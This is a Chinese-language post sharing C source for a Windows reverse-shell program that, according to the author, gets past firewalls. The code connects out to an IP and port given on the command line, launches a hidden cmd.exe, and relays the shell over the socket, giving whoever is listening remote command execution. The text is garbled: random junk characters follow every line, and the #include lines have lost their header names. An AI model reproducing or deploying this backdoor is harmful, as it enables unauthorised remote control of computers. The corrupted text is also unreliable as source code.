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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 T<6GcI>A  
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/* ============================== 8ljuc5,J  
Rebound port in Windows NT o<rsAe  
By wind,2006/7 (0R2T"/  
===============================*/ D"!jbVz]*  
#include WL1\y|  
#include '60//"9>k/  
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#pragma comment(lib,"wsock32.lib") ?A&%Cwj  
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void OutputShell(); bcn7,ht  
SOCKET sClient; ,rai%T/rL  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; |z*>ixK  
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void main(int argc,char **argv) lE'wfUb  
{ Cfv]VQQE  
WSADATA stWsaData; d@ (vg  
int nRet; ~b6GrY"vB  
SOCKADDR_IN stSaiClient,stSaiServer; (A4&k{C_  
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if(argc != 3) H %z/v|e6  
{ \0&SI1Yp  
printf("Useage:\n\rRebound DestIP DestPort\n"); \z:<DsQ&  
return; \=fh-c(J,  
} l'uOORI  
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WSAStartup(MAKEWORD(2,2),&stWsaData); V;;#/$oU:4  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E}YI WTX  
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stSaiClient.sin_family = AF_INET; EEwWucQ  
stSaiClient.sin_port = htons(0); wE6A 7\k%  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ShGp^xVj  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) vaB!R 0  
{ D/:3R ZF  
printf("Bind Socket Failed!\n"); q.T:0|  
return; MI*Sq\-i  
} a g;dc  
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stSaiServer.sin_family = AF_INET; DFy1 bg  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ^l(^z fsZ  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); /b%Q[ Ck_  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) WcEt%mGQ,  
{ Mudrg[@ `  
printf("Connect Error!"); 0*yJ %  
return; >rf5)Y~f  
} [r9d<Zi}{  
OutputShell(); |';7v)CIG  
} '[ 0YIn  
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void OutputShell() ab4LTF|  
{ A*i_|]Q  
char szBuff[1024]; ^y Vl"/  
SECURITY_ATTRIBUTES stSecurityAttributes; N!c gN  
OSVERSIONINFO stOsversionInfo; Uw <{i  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;  hY=I5[*  
STARTUPINFO stStartupInfo; ;_tO+xL&  
char *szShell; X| <yq  
PROCESS_INFORMATION stProcessInformation; %\I.DEYH  
unsigned long lBytesRead; m UgRm]  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); *U_oao  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); r/PKrw sC  
stSecurityAttributes.lpSecurityDescriptor = 0; l &Z(K,6  
stSecurityAttributes.bInheritHandle = TRUE; 8&.-]{Z  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); P4 6,o  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); K\^&+7&zVg  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); LdEE+"Jw  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Tl3"PIb  
stStartupInfo.wShowWindow = SW_HIDE; ?D=8{!R3  
stStartupInfo.hStdInput = hReadPipe; f:vD`Fz1  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; p(?3 V  
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GetVersionEx(&stOsversionInfo); C +@ i  
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switch(stOsversionInfo.dwPlatformId) I?M@5u  
{ q[c Etp28h  
case 1: ,sI35I J  
szShell = "command.com"; 6LM9e0oxy  
break; {^m5#f 0"  
default: oAz<G  
szShell = "cmd.exe"; )4ncutb  
break; 7I3:u+  
} ,q</@}.\wN  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 6x4_b  
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send(sClient,szMsg,77,0); S@A<6   
while(1) c&e0OV\m  
{ rzT{-DZB[4  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ke6n/ h5`  
if(lBytesRead) U>A6eWhH  
{ !*bdG(pK  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); hr~.Lj5^W  
send(sClient,szBuff,lBytesRead,0); UABbcNW  
} e=J*Esc@k  
else f{_)rsqf  
{ wY`#$)O0*  
lBytesRead=recv(sClient,szBuff,1024,0); #90c$ dc  
if(lBytesRead<=0) break; "dq>) JF\  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); FG# nap{  
} iNLDl~uU  
} 8&?p  
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return; )_Iz>)  
}
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